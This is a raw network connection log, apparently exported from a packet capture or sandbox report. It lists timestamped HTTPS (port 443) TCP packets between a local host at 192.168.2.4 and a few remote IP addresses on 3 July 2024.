Jul 3, 2024 23:50:35.340696096 CEST	443	49767	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:35.340924025 CEST	49767	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:35.341316938 CEST	49767	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:35.341335058 CEST	443	49767	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:35.573580980 CEST	443	49765	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.575237036 CEST	443	49765	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.575263023 CEST	49765	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.575283051 CEST	443	49765	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.575309992 CEST	49765	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.575416088 CEST	49765	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.602421999 CEST	49768	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.602447987 CEST	443	49768	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.602581978 CEST	49768	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.602823973 CEST	49768	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.602838039 CEST	443	49768	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.126372099 CEST	443	49768	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.126674891 CEST	49768	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.126694918 CEST	443	49768	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.127789974 CEST	443	49768	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.127871037 CEST	49768	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.132544994 CEST	49768	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.132623911 CEST	443	49768	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.132780075 CEST	49768	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.132791042 CEST	443	49768	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.175038099 CEST	49768	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.259277105 CEST	443	49768	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.259324074 CEST	443	49768	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.262036085 CEST	49768	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.262048006 CEST	443	49768	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.262075901 CEST	49768	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.262104034 CEST	49769	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.262141943 CEST	443	49769	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.262172937 CEST	49768	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.262226105 CEST	49769	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.262432098 CEST	49769	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.262449980 CEST	443	49769	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.796905041 CEST	443	49769	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.797221899 CEST	49769	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.797235966 CEST	443	49769	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.797602892 CEST	443	49769	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.798012018 CEST	49769	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.798075914 CEST	443	49769	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:36.798218966 CEST	49769	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:36.844495058 CEST	443	49769	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.046433926 CEST	443	49769	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.046499014 CEST	443	49769	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.046545982 CEST	49769	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.047045946 CEST	49769	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.047065973 CEST	443	49769	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.049613953 CEST	49770	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.049643040 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.049706936 CEST	49770	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.049906969 CEST	49770	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.049925089 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.573755026 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.574069977 CEST	49770	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.574084997 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.574465990 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.574915886 CEST	49770	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.575002909 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.575073957 CEST	49770	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.616504908 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.616816044 CEST	49770	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.843132019 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.843153954 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.843166113 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.843175888 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.843195915 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.843208075 CEST	49770	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.843221903 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.843250036 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.843272924 CEST	49770	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.843312025 CEST	49770	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.845303059 CEST	49770	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.845323086 CEST	443	49770	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.848570108 CEST	49771	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.848603964 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:37.848675966 CEST	49771	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.849241972 CEST	49771	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:37.849256039 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.374011040 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.374311924 CEST	49771	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:38.374336958 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.374629021 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.375073910 CEST	49771	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:38.375144005 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.375245094 CEST	49771	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:38.375267029 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.429279089 CEST	49771	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:38.966618061 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.966635942 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.966643095 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.966655970 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.966661930 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.966691971 CEST	49771	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:38.966718912 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.966736078 CEST	49771	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:38.966742992 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.966751099 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.966759920 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:38.966777086 CEST	49771	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:38.966815948 CEST	49771	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.122159958 CEST	49771	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.122185946 CEST	443	49771	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.128211975 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.128252983 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.128333092 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.128794909 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.128810883 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.650149107 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.650415897 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.650433064 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.650727987 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.651062012 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.651118994 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.651221991 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.651277065 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.696690083 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.891196966 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.891221046 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.891273975 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.891274929 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.891289949 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.891309023 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.891334057 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.891340017 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.891356945 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.891380072 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.892779112 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.892795086 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.892868042 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.892883062 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.893006086 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.984951973 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.984968901 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.985029936 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.985043049 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.985090017 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.986157894 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.986172915 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.986229897 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.986238003 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.986414909 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.987644911 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.987658978 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.987715960 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:39.987725019 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:39.987817049 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.007126093 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.007143021 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.007204056 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.007217884 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.007359028 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.078691959 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.078707933 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.078769922 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.078782082 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.078836918 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.079406977 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.079422951 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.079478979 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.079487085 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.079536915 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.080018044 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.080075026 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.080085993 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.080086946 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.080127001 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.080420017 CEST	49772	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.080435038 CEST	443	49772	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.130140066 CEST	49773	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.130158901 CEST	443	49773	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.130233049 CEST	49773	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.130753040 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.130759954 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.131023884 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.136013985 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.136024952 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.136260033 CEST	49773	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.136271954 CEST	443	49773	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.642281055 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.642611980 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.642618895 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.642903090 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.643348932 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.643408060 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.643579960 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.643604994 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.648269892 CEST	443	49773	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.651314974 CEST	49773	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.651321888 CEST	443	49773	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.651608944 CEST	443	49773	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.652132034 CEST	49773	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.652183056 CEST	443	49773	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.655356884 CEST	49773	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.655380964 CEST	443	49773	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.896410942 CEST	443	49773	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.896466970 CEST	443	49773	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:40.896579981 CEST	49773	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.897402048 CEST	49773	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:40.897413015 CEST	443	49773	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.014811039 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.014827013 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.014847040 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.014858007 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.014938116 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.014938116 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.014946938 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.015085936 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.016637087 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.016658068 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.016829014 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.016840935 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.016905069 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.017398119 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.017473936 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.017507076 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.017646074 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.018814087 CEST	49774	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.018821955 CEST	443	49774	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.037326097 CEST	49775	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.037332058 CEST	49776	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.037350893 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.037358046 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.037611961 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.037645102 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.037652016 CEST	49775	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.037655115 CEST	49776	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.037770033 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.038022995 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.038036108 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.038342953 CEST	49775	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.038345098 CEST	49776	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.038357019 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.038363934 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.063347101 CEST	49778	443	192.168.2.4	13.107.246.60
Jul 3, 2024 23:50:41.063379049 CEST	443	49778	13.107.246.60	192.168.2.4
Jul 3, 2024 23:50:41.063817978 CEST	49778	443	192.168.2.4	13.107.246.60
Jul 3, 2024 23:50:41.064455032 CEST	49778	443	192.168.2.4	13.107.246.60
Jul 3, 2024 23:50:41.064471960 CEST	443	49778	13.107.246.60	192.168.2.4
Jul 3, 2024 23:50:41.545231104 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.545625925 CEST	49776	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.545634985 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.546690941 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.546762943 CEST	49776	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.547425985 CEST	49776	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.547485113 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.547734976 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.547888041 CEST	49776	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.547895908 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.548124075 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.548146963 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.548500061 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.549076080 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.549150944 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.549321890 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.549355030 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.552336931 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.556682110 CEST	49775	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.556693077 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.557043076 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.558212042 CEST	49775	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.558280945 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.558417082 CEST	49775	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.558449030 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.590588093 CEST	49776	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.739943981 CEST	443	49778	13.107.246.60	192.168.2.4
Jul 3, 2024 23:50:41.740256071 CEST	49778	443	192.168.2.4	13.107.246.60
Jul 3, 2024 23:50:41.740289927 CEST	443	49778	13.107.246.60	192.168.2.4
Jul 3, 2024 23:50:41.741269112 CEST	443	49778	13.107.246.60	192.168.2.4
Jul 3, 2024 23:50:41.741326094 CEST	49778	443	192.168.2.4	13.107.246.60
Jul 3, 2024 23:50:41.742643118 CEST	49778	443	192.168.2.4	13.107.246.60
Jul 3, 2024 23:50:41.742701054 CEST	443	49778	13.107.246.60	192.168.2.4
Jul 3, 2024 23:50:41.761111975 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.795278072 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.795303106 CEST	49778	443	192.168.2.4	13.107.246.60
Jul 3, 2024 23:50:41.795305014 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.795310974 CEST	443	49778	13.107.246.60	192.168.2.4
Jul 3, 2024 23:50:41.795320034 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.795356989 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.795373917 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.795418024 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.795444012 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.797106028 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.797122002 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.797180891 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.797193050 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.810486078 CEST	49775	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.810496092 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.816246033 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.816263914 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.816272020 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.816298008 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.816324949 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.816328049 CEST	49776	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.816338062 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.816349030 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.816364050 CEST	49776	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.816397905 CEST	49776	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.818664074 CEST	49776	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.818671942 CEST	443	49776	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.841871023 CEST	49778	443	192.168.2.4	13.107.246.60
Jul 3, 2024 23:50:41.842051983 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.852511883 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.852521896 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.852541924 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.852550030 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.852552891 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.852571011 CEST	49775	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.852586031 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.852615118 CEST	49775	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.852617979 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.852636099 CEST	49775	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.852659941 CEST	49775	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.860306978 CEST	49775	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.860320091 CEST	443	49775	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.886756897 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.886847019 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.886893988 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.886914015 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.886959076 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.887877941 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.887897968 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.887953997 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.887964010 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.888004065 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.888993025 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.889008999 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.889091015 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.889101982 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.889120102 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.889139891 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.950992107 CEST	443	49777	185.143.223.70	192.168.2.4
